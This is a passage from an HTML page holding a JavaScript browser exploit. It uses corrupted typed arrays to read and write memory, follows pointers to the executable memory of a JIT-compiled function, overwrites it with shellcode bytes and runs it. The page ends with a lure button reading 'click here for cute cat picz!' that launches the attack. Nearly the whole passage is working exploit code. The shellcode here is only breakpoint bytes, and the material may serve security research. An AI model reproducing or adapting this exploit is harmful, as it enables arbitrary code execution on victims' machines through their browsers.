                a[2] = target_func;
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Follow a bunch of pointers to RWX location containing the
                // function's compiled code
                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 3*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 4*8;
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                // Write shellcode
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                hax2[0] = 0xcc;
                hax2[1] = 0xcc;
                hax2[2] = 0xcc;

                // Pwn.
                target_func();
            }
            return "x";
        });
    }
}
</script>

<button onclick="pwn()">click here for cute cat picz!</button>